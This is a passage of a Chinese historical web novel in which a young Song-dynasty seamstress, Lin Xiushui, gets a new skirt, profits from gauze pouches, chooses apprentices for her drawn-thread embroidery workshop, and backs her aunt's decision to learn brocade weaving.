茉莉花的,林秀水仔细想想,确实有收过几张纸样,其余大多是拿衣裳来,按衣来做领抹的,所以她印象比较深刻。 她这才恍然大悟,“原来那条是娘子你的啊。” 便也很上道地说:“我这两日抽空应当能做出来。” 不是占用正常的排期,是下了工再做,紧赶慢赶总能做出来。 金裁缝很高兴,她拉林秀水上她的屋子里去,她说:“我给你量一量,你回去照着这个做,你下午在我这里做也成,我看看你怎么打衣样的。” 还从来没人给她量过身,这对林秀水而言是很新奇的事情,她头一次知道这么详细而具体的数据。 她特意休工过来,原本不知道金裁缝脾气,只听老裁缝说人好,适合她,但除了礼外,还备了个红封,没用上,得用领抹来。 金裁缝说她们裁缝间讨教,什么银钱零碎的,不如一条领抹好,手艺见真章。 这个半日,林秀水在更改纸样,这里更习惯称衣样,她记忆里习惯的打纸样,是要画各种标记的,比如一个乌黑的圆点,外面再画一个大圆,则表示定位,比如要缝个花等等。 两条横线再往下划一道,这就表明对齐,正面的面料画方形,反面的面料则在方形里打个叉,所以她的纸样,除了她自己以外,旁人要认很费劲。 像金裁缝这种的话,一般褙子就是衣长、胸宽、通袖长、袖肥,横开领口宽、领缘,算法比她要简单许多 。 半日待下来,林秀水受益匪浅,就是金裁缝很会发散思维,从做裙子能扯到各种裙子样式、颜色上,或是她做过的裙子、褙子等等。 然后干脆说:“你拿匹布料来,我给你改成裙子,不然到再过十日,你也说,你要先给旁人把衣裳做了。” 林秀水被戳中心思,她这个人还挺难说动,只是动了动念头,没想给自己做,就想着多学点,到时候好给人家改去。 金裁缝哼一声,“我保证你出去走一圈,没人上来问你裙子,我改姓。” “我改姓银,半个人都没有,我再改姓铜。” “你就好好地先将我的领抹做了,我等着搭衣裳呢。” 林秀水从金裁缝家出来,脑子里只有,为什么不给自己做衣裳。 那当然是想拖着,等拖到想做的时候再做,什么时候想做,暂时都不想做。 可她明明给别人做衣裳时,满脑子都是快做,快做,人家等着穿。 这会儿是有人上赶着给她做。 因缘际遇难以预料,她总算知道了,什么是等一条裙子,或是一件衣裳的期待。 那种期待像是夏日夜里的凉风,盼望它快快来。 即使知道要做上三个整日,这三日总会想,新裙子如何,可她明明做过许多条裙子。 想得她半点活没少干,半点钱没少挣。 先是想到金裁缝的事,去拿着东西谢了老裁缝。 老裁缝说:“又没成,谢我干什么。” 林秀水则摇摇头说:“我悟了一点道,怎么不算成。” “我给你找的是裁缝,还是说庙里的大师?” 林秀水很快接上,“佛家行道法,裁缝行衣法。” “衣通百通啊。” 老裁缝压根说不过她。 林秀水从领抹处离开,而后思想来去,跟顾娘子说:“我觉得抽纱绣这样不大行,排单已经排到后个月了,人家都是奔着抽纱领抹来的,如果要等许久,送的话应当也是送抽纱绣的东西。” “什么东西?你们谁也抽不出空来,”顾娘子问道。 “抽不出,那可以多招几个人,在方形布上抽纱,缝简单的纹路,交由绣娘绣些花样,做手帕、荷包、扇套。” 主要金裁缝跟她说过,说送其他领抹是毫无诚意的,一套领抹能卖出一贯多的价钱,还得等上两个月,送几十到百文的领抹,很抠门。 林秀水之前不说,是裁缝作里腾不出人手,眼下裁缝作里准备新进批学徒,她就想要人手来。 日日三个人,已经没话找话,不然真的很安静,按李锦的话来说,放个屁都要捂住自己的耳朵。 林秀水都打算从自己三岁开始说起,左右就那么点事。 顾娘子想想这也能卖钱,但人还没招齐,今年招工慢,原因还是她难以招到林秀水这样的人才,每一个挑来选去,心里都有难以言喻的落差。 熨布不行、补纱不行、裁衣一般般,同样的年纪,不同的人,她这个看看一般,那个看看也不大行,最后勉强矮子当中拔些高个出来。 她还在挑,便说:“肯定给你安排人,到时候让你自己去挑,再等等。” 林秀水等,她还买了四匹纱,是料子还行,但是会有些斑点和深浅线,这种成批买的会搭一两匹差的,庄管事说:“你要便低价卖你。” 她之前是采买布匹又兼各种缝补杂事的,林秀水的缝补处给她减轻了极大的负担,而且又做得好,帐设司的活计她也有进账,自然想卖林秀水个好,上头答应的。 一贯三便能买一匹纱布。 只是庄管事不免好奇,“这又做什么买卖去?” “小本买卖。” “我说你满脑子的生意经,大热天的不歇歇,想什么呢?” 林秀水点点头,“想钱。” “多余问你。” 不多余,至少林秀水会回:“吃了五谷想六谷,有了肉吃嫌豆腐,但钱,谁会嫌。” 庄管事告诉自己,少多嘴。 林秀水这几日总跟孙大说几句,嘴巴真闲不住,毕竟人家卖货外,跟陈桂花走的不是同个路子的,不抢陈桂花生意。 他从林秀水这里收,再转手去卖。 陈桂花卖香水行里装肥皂团、各种花瓣,她还会到处跑其他卖肥皂团的那里去,赚的钱就去学扎发髻,晚上就给人洗头,生意还没上来,但她有三个长期客人,那就是林秀水、桑英,还有个是小荷。 孙大不大一样,他也卖香的。 他说:“对啊,香花熟水不是香吗?” 夏日上市了许多熟水,什么豆蔻、紫苏、沉香,而香花熟水,那是真的用花做的,玫瑰、茉莉、柚香,拿半开香气最浓郁的花,泡在水里泡一夜,第二日再用热水泡,就成了熟水。 林秀水说,那压根就是花的洗澡水。 孙大也附和:“是啊,所以不也卖给他们,叫他们套袋子里,至少喝的时候,没有太多渣。”他还收别人摘的栀子花,转手套进纱袋里,一个栀子香囊卖十五文,白绿色不仅好看,而且香。 还打算到街头写酸文的那里,先写几张红纸条,什么吉祥、如意,反正好字往上写,他说能卖到十八文。 林秀水给他推荐了广惠,待业的也给找个工作。 一文钱一张,广惠谢天谢地,“我出息了,我能挣钱了。” 当场赋诗一首,“今日挣十文,明日挣十文,十文复十文,来日一百文。” 其实赚的钱还得倒贴两文,因为六只猫,猫鱼两文一条。 这个纱袋比手套好卖多了,又比香囊便宜、轻透,有说要抓火萤虫放里头,亮莹莹的好看,也有说要装茶叶。 还有说要炖鸭汤的,要她白送。 “不能吗?”陈九川在那杀鸭子,他又去了趟上林塘,田里忙,他歇了工回去种几日田,晒的脸黑了点。 “给谁吃?” 他挑了两只最肥的鸭子回来,准备 做熬鸭,纱袋里头放姜片、葱段。 一盅给林秀水,一盅给桑英和自己吃。 眼下鸡多鸭少,别看镇里水路多,但都要行船,不让放鸭,鸡要便宜得多,有用鸡来做鸭菜的,叫作小鸡假炙鸭,也有假熬鸭。 上林塘鸭子也不多,最多的是鹅,临安内城人喜欢吃,成片成片地养。 林秀水说:“你亏了。” 纱袋才九文,鸭子要三百文。 陈九川说:“那赚了。” “赚你九文钱,给你一锅老鸭汤。” 林秀水问桑英,“你哥种田种傻了?” “没啊,”桑英奇怪,“你亏了,鸭汤本来该给你吃,你还白搭他一个纱袋。” “找他要钱,最近他刚挣了笔。” “算了,”林秀水很大方,“我也小挣了笔,明日请你们吃鹅。” 两人看她,又上哪发财了? 林秀水很谦虚,她确实小挣了一大笔钱,两贯钱。 这种小小的纱袋,居然能有二道贩子。 孙大跟陈桂花是第一道,那么其后来的,是第二道贩子,他们不是从林秀水手里买的,是从其他摊子上买,然后换个名字卖出去,叫作纱囊。 他们怎么卖呢?茶叶都有个高级包装,在封茶时,密封包好后,然后会套个纱袋,这种叫绛囊。 那种纱袋用特别好的纱,纱袋一般,但是这买卖的人很聪明,给碎茶叶套两层纱袋,转手能从一百八十卖到两百八十文。 这一切是孙大讲的,林秀水说,是她输了。 反正她实打实赚了,纱袋有六七个人做,每日能出三四百个,刨除给她们的费用外,林秀水三日净赚两贯。 她从没有挣过这么轻松的钱,连让她都敢想,假以时日,能不能从租,改成买间铺子。 先想想再说,这种营生会回稳。 这三日她真没白干,赚了钱,抽空做出金裁缝的领抹,还能领一条新裙子。 金裁缝给她做的。 这条裙子是用林秀水给的绞缬布,蓝色晕染中夹杂着如同雾状的白。 给的是百迭裙,这种跟打满褶不大相同,满褶是从腰前到腰后都打细褶,这裙子是前片打些褶子,分得很开,并不细密,腰边有两侧并不打褶。 不打褶的光面交叠穿着,褶子在左在右在后面,中间留了宽度,形成素面。 林秀水倒是不大穿这种款式的裙子,她穿上后,只觉得行动间很舒服,金裁缝给她专门做了条腰绳,在中间打上蓝色缀白色的结。 一是衬得腰会纤细,二是裙子走起来,两边不死板,更能衬得出布料甩动间的飘逸,打褶并不锋利,有些许蓬,很轻盈的美。 金裁缝让她别急着谢和还礼,“你出去走一圈,没人问我姓银。” 林秀水上哪走了圈,她去裁缝作走了圈,到底好不好,她自己不大清楚,做裁缝的最知道。 大家都用稀奇的眼神看她,好像一朵干花突然变成鲜花。 毕竟寻常穿着极为朴素,连脸都素面朝天的,突然穿了条俏丽的裙子来,怎么不叫人大吃一惊。 她们的反应是这样的: “哪里做的?给我也做一条。” “好看,多余的话不用说,给我做一条。” “一条。” “跟一条。” 林秀水懂了,这叫金字招牌。 第62章 第 62 章 挑学徒 裁缝作的生意做不做? 当然不做。 林秀水站在一堆裁缝里说:“我做了, 你们做什么?” 都是裁缝了,自己做。 一个娘子则说:“我们不做,我们等着穿。” “这年头, 做衣不如穿衣的。” “见者有份。” 众人一致附和,这群娘子是做褙子、背心的,她们做裙子不大拿手。 裁缝也是术业有专攻的, 各自有各自的长处和短处。 林秀水穿了这条裙子过来,仅仅是想炫耀自己的新裙,穿新衣不上街,等于白穿。 也好回复金裁缝, 到底有几个人夸过,她一个个给数清楚,可以不用改姓了。 金字招牌稳稳的。 但太稳了, 面对几个娘子的请求,她招架不住,见者有份,她又做不大出来,只有长出十二只手,才能见者有份啊。 她只是悟了一点衣道,不是真的变成千手观音了, 要是真成, 她很愿意, 那么能做很多衣裳了。 五百只手裁衣, 五百只手缝衣,她一个人开整个裁缝作。 大家聚在一块,后头又来了几个做裙子的娘子,也看个稀奇, 她们倒是老手,做满褶裥、百迭裙、三裥裙、旋裙等等,平常跟林秀水来往不多。 “我觉得这裙子换成纱会更好,行走间更飘逸,而且纱染要更好看些,”一个圆脸娘子说。 另一个娘子则低头看了眼说:“其实能在腰带上再做做文章,这条蓝白色的裙带好是好,不大显眼,衬得裙子更好。” 做裙不单单要看裙子,还要看腰带,这种叫裙带,通常为一条布帛,上面绣上各种花样。还有便是环佩,用许多彩线穿起来的,走起路来叮叮当当地响,以及同样用彩线的宫绦,来回缠绕于腰间,拴上各种玉佩和器物。 林秀水听得极为认真,又拿出纸笔准备记下来,围在她身边的大家笑开,“你瞧她,当真是个天生的裁缝。” “听得这么认真,不如到我们做裙子处来学点。” 林秀水毫不犹豫,“我去。” 一群人笑开,林秀水哼一声,接了许多布的单子,她后面真的去做裙子的地方了,大家正在做百迭裙,她也跟着看了不少。 今日她收到了许多夸奖,连顾娘子也说,这裙子瞧着不错。 而后下了工,林秀水又到金裁缝那里去。 “那你给自己做件搭的褙子,你给我看了,也算我赚了,”金裁缝看她一眼,如此说。 她总觉得,领抹能做那样好,对自己应当更细致才对。 林秀水回来的时候,她已经欣赏这条茉莉花的领抹好半日了。抽纱的镂空恰到好处,茉莉花特意用的丝线,绿叶的绿丝在日头下泛着光泽,花朵的白丝渐染,由浅渐渐染上一点绿。 屋子里,林秀水惊讶,她发出简短一声啊,眼下搭得不挺好,白抹胸,蓝褙子,蓝裙子。 金裁缝微微笑道:“我们一般讲得好听点,叫作半分银子打牙梳——不成样。” “难听点呢?” “这衣裳救你命了?” 没有,她救衣裳命了,一针针给补好,又绣上些许花样,让褙子延续生命,继续在夏日里,能够穿在她的身上。 从金裁缝家出来后,林秀水 穿梭在人群里,挨个裁缝铺子进去瞧瞧,谁给自己做衣裳有头绪的,反正她压根没有。 没有咋办,等她给其余的娘子捎了布去,看她们穿啥样,怎么搭,好照抄一点来。 这么一想,林秀水觉得自己聪明得不像样。 一个给裙子搭衣裳只有几种想法,十来个人便有几十种法子,这么多的法子,总有种适合她的。 衣物上带来的美丽和愉悦,林秀水不想独享,更何况可以给染肆带去生意。 她一路走到染肆里头去,蓝大娘正在晾晒蓝布,长长的竿子上,挂满了一块块新做出来的布料,青丫拿着染棍在搅。 染缬布的营生不大好做,她们接的活基本是邻里邻舍的,规模不大,做些小本买卖。 见有人进来,两人忙看过去,青丫放下染棍,走了两步,眼神黏在裙子上,“这是用我们染的布做的裙子?” 蓝大娘三两步走上前,将青丫撞个踉跄,差点没站稳。 “娘嘞,你看就看,推我干啥。” 蓝大娘挤开她,瞧到后顿时也觉亮眼,前后看了圈,又连连点头,眼睛都没挪开一下,“好,这裙子好。” 那种自己辛苦染出来的布,变成了漂亮的衣裙,对于时常担心于染了卖不出去的两人来说,是种莫大的鼓舞。 像染架上的蓝布,盛夏的风吹起来,飘来又飘去,乘风飞扬。 对染布人来说,做成衣裳穿在身上,是最大的嘉许和认可。 “布也好,”林秀水指指布,又点点裙子,“缺一不可。” 她又说大家想要布料的事,“要十一匹料子,多久能做好?” 母女俩对视一眼,异口同声地说:“十一匹?” 蓝大娘赶紧说:“看看要什么样式,如果我们能做,过上五六日的工夫便成。” 其实压根没接过这么多染布的活。 她们这个小染肆里,早前接过最大的活,是别人家要做三匹床帐,染的花样很复杂,才多赚了不少钱,其余便是林秀水前头买的几匹料子。 染肆的生意一般到,真是把整个镇子逛一圈,难以找到几个穿着她们染肆里出来的布。 青丫时常安慰自己,大家都偷摸穿。 眼下则不需要,来活了,娘俩想抱头痛哭,又想乐,变成了要哭不哭,顶着这样的神情,说要给林秀水专门做匹好布来。 关于这条蓝裙子引发的种种,林秀水没有预料到。 做搭的衣裳没有多大思绪,倒是给绢孩儿做衣裳,一身又一身的搭配出来,能用在上头的布料花色要多些,她一遍遍地试。 等布的工夫里,林秀水没有闲着,先到廊棚底下支摊去,今日还算凉快,大家下工也早。 一个大娘夸张地挑起眉毛,“天呐,谁来了?” 另一个娘子又道:“咦,我以为你大热天的,再也不出摊了,准备一气攒到今年秋冬里。” 从棚前路过的人将脑袋探进柱子里,说了一句,“得给写到桑树口小报上。” 林秀水坐下来,才五日没出摊而已,真的不至于,她一直有在做衣裳的,在学东西,在赚钱的好吗。 且这些日子里,大家又不是没见过她,还跑到家里来找她做衣裳,林秀水真的没多大空闲,不然全会接过来做。 她只说:“来来,衣裳活来。” 简短一句话,坐着的,站着的,靠柱子睡觉的,全看过来,有些人起身拿东西去。 “我倒是真有些衣裳要做的,攒了好久,”有个腿脚不便的老大娘说,她扶着柱子慢慢起来,“等我回家去拿。” 然后今日再也没有过来,林秀水还真的不信邪了。 另外一边戴斗笠的男子走过来,抱着件长袄子,请林秀水改改,“最好能给我加个领子。” 林秀水看天,大家也看天,晴空万里,艳阳高照,走一步,汗抖三抖。 袄子二字都听不得,还给袄子加领子。 有人感慨,“怪我,昨日把夏历给撕了,眼下就过秋历了。” “是啊,少活了几个月。” “能不能少打岔,”那男子拿下斗笠扇风,说句气死人的话,“你们夏月过得热,我过得跟冬月里没差别。” “我日日在冰窖里采冰,凿冰,人浑身冒冷气,头风病都要犯了,再不把袄子封住可咋办。” 这男子是冰井务里的采冰工,冬天腊月里,官府叫人去采冰,将水里结的冰藏到深深的冰窖里,然后盖上厚席子,到夏日里取出来。 到里头初时不冷,进去后不久冷得打哆嗦,穿袄子也挡不住,总感觉脖子冷飕飕的,非要做件加厚领子不可。 他说冷,那边的男子则说热得要旱死,请林秀水做件戴帽油衣,之前狗穿的那种,他要到深山里去,等云厚的时候,将雨喊下来。 人家真的要穿油布斗篷去喊山。 林秀水听完,好新鲜,这算是什么活? 她正经改衣裳的活呢?算了,她想,有钱赚。 从前说过的,只要有钱赚,让她给猪做衣裳,她都可以昧着良心做。 她收回这后半句话,保留并删改,只要有钱。 当然正经活多得很,最近都在裁缝作里,一样样地过来。 接的活做也做不完,林秀水此时真的想有千只手,每匹布抽过去。 隔日顾娘子来找她,坐在屋子里跟她说:“之前你说抽纱绣能做更多的东西,就是需要人手,眼下裁缝作里进了不少学徒。” “大概有七八十个,由你和几个裁缝娘子先去挑。” 顾娘子口中的几个裁缝娘子,其中有做织金裙手艺极好的娘子,管理整个做罗裙的,手底下有三十来个人。 有自己独创绣样的娘子,一件特色绣样能卖出七八贯银钱,手里徒弟有五六个,她只做半日工。 另有做其他工种的娘子,是在整个裁缝作里,被众人熟知,叫得上名号的。 林秀水的名字跟她们排在一起,成为第一批挑学徒的人。 第63章 第 63 章 要走出去,弃丝而从锦…… 每年进学徒时, 是裁缝作最热闹的时候。 今年比往年盛况更加热烈,出先挑学徒的人选了。 在众人来往下工的路上,有五座立柱灯, 又称书灯,放在高石阶上,三面的纱上都绣了名字。 织金—李芬, 生色领—王茹云,双面绣—陈二娘,贴金—章孟,抽纱绣—林秀水。 而另外一面灯壁, 则放了各自的得意之作。 其一灯壁上的图案为织金,织金为面料上大多用金线织造的,织出光彩熠熠的图案, 李芬娘子自己织罗布,灯上的藕荷色布料有牡丹暗纹,又有金灿灿的蝴蝶。 短短一块布,牡丹纹图案不相同,蝴蝶的有双翅展开,亦有合拢翅膀停于牡丹花上的,瞧起来流光溢彩。 有裁缝娘子突然感慨:“听说李娘子做一条罗裙, 光是织样子, 得费上二十来日, 底下三十几号人, 活却早已排到明年去了。” 另一个附和道:“我每每从她们门前走过,大气也不敢喘,生怕金线坏了,来找我算账, 那可都是真金。” 一堆裁缝娘子聚在前头,无一不惊叹于织金的光彩,又折服于王茹云娘子的生色领手艺。 生色领是装饰各种花卉图案的领抹,却不归领抹处管,早早独立出来的。 这种领抹只有两种人能上身,一为后妃,二是各家命妇,王娘子则给命妇做的。是以挂在灯上的生色领,一条不足手掌宽的绛色罗布领上,绣了二十种花卉,榴花、瑞香、金灯花、秋茶花、木樨等等,颜色多而不杂乱。 属实叫人惊叹于其手艺,却跟会双面绣的陈二娘子,走的又不是同一个路子。双面绣又称两面光,正反分别有两面图案,却看不出任何针脚流露的痕迹。 在灯壁上的双面绣图案,正面为穿白纱褙子绿罗裙的望月侍女图,梳堕马髻,微微抬脸往上瞟,眉眼秀致而专注,脸有红晕,左手轻点下巴,右手则搭在左手上,转过来反面则是仕女的侧脸背影和一轮明月。 不免叫人倒吸一口气,又慢慢变成欣赏,不敢多靠近一步,眯着眼或瞪大眼想要看清楚。 那么其四的贴金工艺,是真的用各种胶黏物,如楮树浆、骨胶、糯米糊、桃树汁、大蒜液等等,将打好的金箔涂在衣物上。 这种打金箔的手艺,有配比、化条、拍叶、做捻子、落开子、沾捻子、打开子、做开子、炕坑、打了细、出具、切 箔等等十二道工序。 最后呈现在布料上,能做各种各样的纹样,如同上面的一双纹羽细致的金鹧鸪,停留于盛开的芙蓉花丛中。 前四个已经叫人看花眼,足够出色,而且这些娘子每一个在裁缝作里都很出名,大家对她们的手艺佩服至极。 当众人的目光转到最后一个立柱灯,有人嘶了声,“抽纱绣” 有人惊讶失声,“林秀水?” “啊,不对啊,”一个娘子糊里糊涂,“我记得我早前还没出去做衣时,她不是领抹的吗?” “哪年的旧历了,她们早就搬出来了。” “她才十五吧!!” “对啊,多气人啊!把我的岁数过继给她,把她的手艺过继给我。” 年纪小,抽纱绣又独特,大家几乎是带着挑刺的眼光去瞧的,毕竟在此之前,只是有所耳闻。 这面抽纱绣只用了白纱白线,除了白没有任何其他的颜色。 可却叫人看得恨不得凑到布上,只能瞧出手艺精湛,极为重工,用了很多种工艺。布上有茶花绣,白线绣了边缘,花瓣慢慢开合,露出里头的镂空花蕊。 又有一大片极为繁复的四瓣小花,一朵朵靠着几根细丝挨着,漏出来的地方恰到好处,一道道镂空花边,一块块不同的绣样,精细秀密,哪怕只靠白线白纱,仍能在前四盏的灯架中有出彩和过人的地方。 原本那些认为林秀水年纪小,难以登上大台,又觉得顾娘子眼光或许出了问题的人,终于肯承认,手艺确实出色。 从质疑又转变为欣赏、赞叹和艳羡。 十五岁,很难想其以后的路。 就连被大家熟知的几位娘子,也会想,自己十五的时候在做什么? 做织金的李芬娘子,那时候还在做学徒,她做了四年的学徒,缫丝织布做结花本,二十岁才能做罗裙,走了二十年,走到了今日。 王茹云做生色领前,她十五岁才刚嫁人,二十二岁才到裁缝这一行里,做了八年的领抹,三十七岁混出了头。 双面绣的陈二娘,五岁就练刺绣,十五岁还在学刺绣,三十岁才能绣出一面双面绣,如今四十二了,继续在学。 章孟倒是年轻些,可她也三十了,十三岁当裁缝,二十一岁才学贴金手艺。 她们却并未报以刻薄的嘴脸,而是说她是后起之秀。 毕竟长江后浪推前浪,浮世新人换旧人。 就在各种议论声,五位的名声和手艺都毫无争议地落实了。 等到风和日丽的转日,大家的目光又移到来的学徒上,以及选人上,,每人有五个人选。 选人在一个空旷的大屋子里,几位娘子来的比较早,学徒来得也很早,屋子里坐满了人。 林秀水则来前,被顾娘子叫住说了一大堆话,急匆匆赶过来,还没进门底下便有学徒朝她小声说:“就差你了,你怎么来得这么慢,娘子们都到了,快坐下来。” “我吗?”林秀水不认识她,拢了拢衣裳说,她为了今日,还特意去买了件衣裳,总算是知道金裁缝说的,哪怕不穿,也有件合身衣裳的重要性了,就是后悔。 她又回:“路上说了两句,确实来晚了。” “那快溜进来啊。” 却见上头坐着的娘子招招手道:“阿俏快来,就差你了。” 最年长的李芬说:“等着你过来呢。” 林秀水在众目睽睽下,赶紧走到最上面,跟娘子们解释几句,在留出来的空位上坐下。 她简短地说:“抽纱绣管事,林秀水。” 弄得七十几人目瞪口呆,好年轻的管事,好厉害的手艺。 就是不知道,这么年轻,抽纱绣处待遇好不好。 几位娘子为表亲切,都会说一下,到自己手底下做活,会有什么样的好处。 织金的李芬娘子说:“到织金处的话,每个月月钱有一贯五,月底会有两百文的贴补,两个月内外出去其他裁缝作,到时候也会涨两到三百文钱。” “我们生色领这一块,每个月是有两日休息,还可跟人换两日工,月钱的在一贯五到两贯以内,满一个月会送一条领抹,”王茹云娘子如此说。 “双面绣有些难的,”陈二娘看底下人说,“要能待得住的话,我们的月钱是最高的,能有两贯一,其余等进了再说。” 章孟则道:“贴金的话,能送些碎金箔,这一直以来都是我们贴金处的好,月钱嘛,一贯五到一贯七,做得好能涨。” 在各种抽气声里,目光又转到了林秀水身上,抽纱绣到底有什么好的? 林秀水不紧不慢开口,“抽纱的月钱保底一贯六,月底的活累算,多干多得,没有封顶。” “有月休三日,晌午有床铺休息,自己带枕囊被褥来,早上有份点心,夏日晌午有茶点,每个月可以帮缝补三件器物。” 前头的都还行,只是为什么?缝补器物也能算一个好处? 大家此时根本不懂,等懂了后,早就泪流满面,怎么不说能织补衣物,怎么不说什么都可以补。 招人很累,林秀水觉得比抽纱要累,她只想要眼神好手稳的,看了十五个才能选出一个。 选五个,她初时兴高采烈,到后面头昏眼花,很累,很费力气。 缝块布,那是各出奇招,两个屋子,七十几张桌子,每处要看过去。 还需要剪布,按着抽到的布样来,裁得要齐整,不能有偏漏。 而且各有偏向,织金的想要会用织机的,生色领的要会花样子的,双面绣想刺绣好的,贴金想手上力气大的。 大家都能找到合适人选,只有抽纱绣,抽纱说抽不下去手。 倒是开头进门提醒林秀水,那个胖娘子说:“我可以。” “我家里从前是拆旧衣的,将旧衣拆了,把线取出来,煮一煮重新染色卖,所以我拆线的本事极好。” 林秀水当即喜道:“太好了,我们抽纱绣需要你这样的人才。” 边上一堆人愣住,这算是哪门子的人才? 有人一听,便也动了心思道:“那我会拆骨头算不算,我能将鱼骨都完完整整剔出来,又快又稳,不信管事你拿条鱼来,我当场拆了给你瞧。” “嘴巴会拆骨,吐骨头算不算?”有人弱弱地说。 林秀水看过去,说道:“那抽纱不用手了,换成用嘴啃。” “我们就改名,不叫抽纱绣,直接改名叫蜘蛛绣,因为会吐丝。” 大家听了哄堂大笑,原本紧张而打哆嗦的心,在此刻慢慢缓解。 林秀水也确实选出了五个人才,会拆衣的,会拆骨头的,前两个林秀水称其为抽骨头拔筋的。 后三个,则是奇人,一个很会想花样的,一个眼神好的,细小的误差也能看出来,一个手极为稳当,搬张桌子一刻钟也不带抖的。 跟其他娘子一个个挑过,看过压根不一样,感觉很儿戏。 可就是这样的人,组成了八个人的抽纱绣,在林秀水的心里,那是连蹦带跳往前迈进了好些步。 是从她到领抹作,才开始有抽纱绣,有钱赚,又有两个打下手的,有了生意,有更大的屋子,有抽纱绣 单独的名号,有了更多的人。 许多个拥有的背后,是一直在往前走,不曾停歇。 而五个学徒到抽纱绣里的第一日,李锦说:“太好了,是来抽筋的。” “太好了,我这个大石榴终于长熟透了,”小七妹拍手道。 林秀水解释,“因为八月的石榴熟透了,裂得合不拢嘴。” 五个人一脸懵,这到底是什么地方,怎么跟她们想得一点都不一样,尽说怪话。 上了工才发现,在这里手艺好不好先另说,说话是门大学问。 有林秀水这个管事带头,布都得开口说两句话。 这里管嘴松叫布紧,管说话多叫织水绸,毕竟口水丝也叫丝。 上工绝对不会有人板着脸做活,林秀水是这样教的。 拿了三匹旧布,对会拆衣的人说:“拆,一匹要快快拆,一匹要慢慢拆。” “这一匹的话,”林秀水点点李锦,“你晚点坐她旁边挑去,等她下针你就挑一截线头出来。” 李锦动作很慢,看她绣能把人急死,就是那种火烧眉毛尖的,还要想,跑的时候先迈左脚还是右脚,不过胜在稳。 会拆鱼骨的小娘子,林秀水就让她拆浆得很硬那种布,跟鱼刺和鱼骨差不多。唯一的要求是必须用镊子拆,一根根拆下来摆好,等她一匹能拆完,镊子会熟练用后,再一点点拆软布,她让人家想成在挑软鱼刺。 至于其他三个人,手稳的就抽纱,给人家戴高帽;眼神好的,挑不好的纱过来给人家抽,让人家务必要将那些深浅不一,或者有斑点的纱抽出来,会想很多花样的,给笔和纸,想去吧。 林秀水想的反正是投其所好,让难的事情,跟别人擅长的事情挂上钩,变成坦途,不是来为难别人,抬高自己的。 顾娘子来看的时候,抽纱绣已经进入了正轨,说说笑笑,却井然有序,大家各做各的活,不喊累,也没停歇过,她相当满意地离开了。 她一走,林秀水就收拾收拾东西下工了。 这几日给她累够呛,梦里都是她追着匹长腿跑的布,说别走啊,让我抽完先。 别人过的是到点下工,她是待到夜里,小春娥会顶着张红疹子没消的脸,美其名曰陪她,实则看着看着,就头一点一点的,干脆睡起大觉来。 睡醒了就来一句,“天亮了啊?” 还得拒绝各种邀约,桑英喊她吃饭,她说自己在绣花样,等晚点,小荷让她出去玩,她说晚点,晚点。 到底晚什么点?她到点就下工。 王月兰还很稀奇,“牢里这么早就放你出来了?” 她说林秀水每天忙成这样,跟坐牢没区别。 “坐牢也得放风,”林秀水坐在椅子上,她安排自己今日的行程,去洗发、拿染布、做衣服。 王月兰则说起自己的打算,“我决定了。” “好,”林秀水张口便来。 “我还没说呢,”王月兰瞥她一眼,语重心长地说,“近来识字才发现,人还是不能太怕,没什么学不会的。” “嗯?”林秀水等她下一句,就怕冒出来一句,她要弃丝行而从文。 王月兰却说:“丝行里有个学织锦的活,很多人抢,我想去试试。” 织锦是很抢手的活,这门手艺很难,花样有百余种,可能学的话,织锦工一月有三贯,还能进到官营作坊里去。 人总是贪图安稳,习惯于日子一成不变,可眼下她已经不再那么需要为温饱而奔波,王月兰想要走出去试试看,万一她能做到呢? 第64章 第 64 章 得巧网 桑青镇盛产的东西除了桑, 其余可用四个字概括,那便是丝绵绸绢。 桑多蚕多,蚕丝就多, 废茧也多,得拿不好的茧丝做丝绵,打绵线织绵绸, 养蚕的人家多,要像官府预支养蚕钱,又称和买绢,织绢还钱, 绢布也多。 织锦则少之又少,从前在东京城时,那叫蜀锦, 改临安设行在所后,将成都转运司锦院的织工、提花机搬到了苏州,现在的平江府,设立了专门的宋锦织造署。 宋锦在平江府遍地生花,可在桑青镇才刚刚萌芽,相比于织绢的经纬两线,织锦要两经三纬, 两经为面经和底经, 三纬为专门的色纬, 又称重锦。 林秀水对此有多难很清楚, 裁缝作里运进来的布,多数是绫罗绸缎,少有锦,贵是一点, 第二点是织得很繁琐,一架大花楼木质机织,楼上一人结花本,楼下织手织布,一日最多出布一尺。 织绫罗绸缎的匠人,不说临安城,便是在桑青镇都一抓一大把,可能织锦的工匠,除了平江府外不多。 想织出锦来,不仅下苦功夫,还要吃一番苦头。王月兰想进新设立的织锦坊,得放下她手里的活计,一个月相对轻松的缫丝、扯绵兜,放下这两贯钱,去学上一个月,看看是不是这块料。 “姨母,你去试试也好,”林秀水坐在屋子里,她知道这条路很累很辛苦,就算她去织锦,也很难说能学得好。 这跟学字的难度是天差地别,如果说学认字刻苦些就能学会,那么织锦是费劲也不一定能学会。 林秀水起身,走了两步到王月兰边上,她懂姨母的顾虑,便道:“小荷的话,正好思珍有空,我们加些束脩,让她早上到私塾里,晚上我去接回来。” 小荷上了一个来月的学,眼下对私塾已经不排斥,说整日在那也可以,猫小叶的话,一日三餐安排好,它有口吃的,能在屋里躺一天。 至于损失的两贯钱,林秀水说:“只要能学会,往后可以成倍赚回来。” “姨母,我比你高了,这个家还有我能撑着呢。” 王月兰抬头,又撑着桌子起身,四五个月过去,林秀水早比她高出些,不再是之前从上林塘过来,要她领着去找行老,处处担心的孩子了。 长高、有本事、赚得比她多、处处周全,王月兰能下这种决定,也是因为她清楚,她有人可以依靠。 “好,”王月兰轻声说,“给你当家。” 她就这样放下别人眼里的轻省活计,转而奔向一个极为辛苦艰难的行当里,她连认织机、穿经纬都得花上大半个月去学的营生里。 很难,王月兰头一日啥也没学到,连织机也认不全,哪怕只是站在那里,背后的衣裳却洇湿了一大片。 难到她天擦黑才回家,站在屋门前,想要跨过门槛,连腿都迈不动,靠在墙上歇了会儿,脑子里只有一个念头,难死个人了。 她到底图什么? 王月兰说不清楚,大概不想庸庸碌碌,为此一生。 反正卯了劲去学,一日不会就两日,两日不会就十日,十日不会就二十日,眼下说想要放弃太早了。 王月兰学着织锦,苦累都把肚子咽,有林秀水照管家里,她可以全心全意投入去学。 林秀水接小荷回来时,小荷上了一日的学,摇头晃脑地说:“我懂,这叫人不学,不成器。” “是这个理,”林秀水接过她的书袋,同思珍告辞,转过来又说,“但这句话叫,玉不琢,不成器,人不学,不知义。” 小荷不甘心,不点头了,她昂起头说:“那就是幼不学,老何为?我娘还小呢。” 匆匆从她边上路过的人,有两三个停下脚步,看小荷一眼,又会心一笑离开,只留下林秀水站那哈哈大笑。 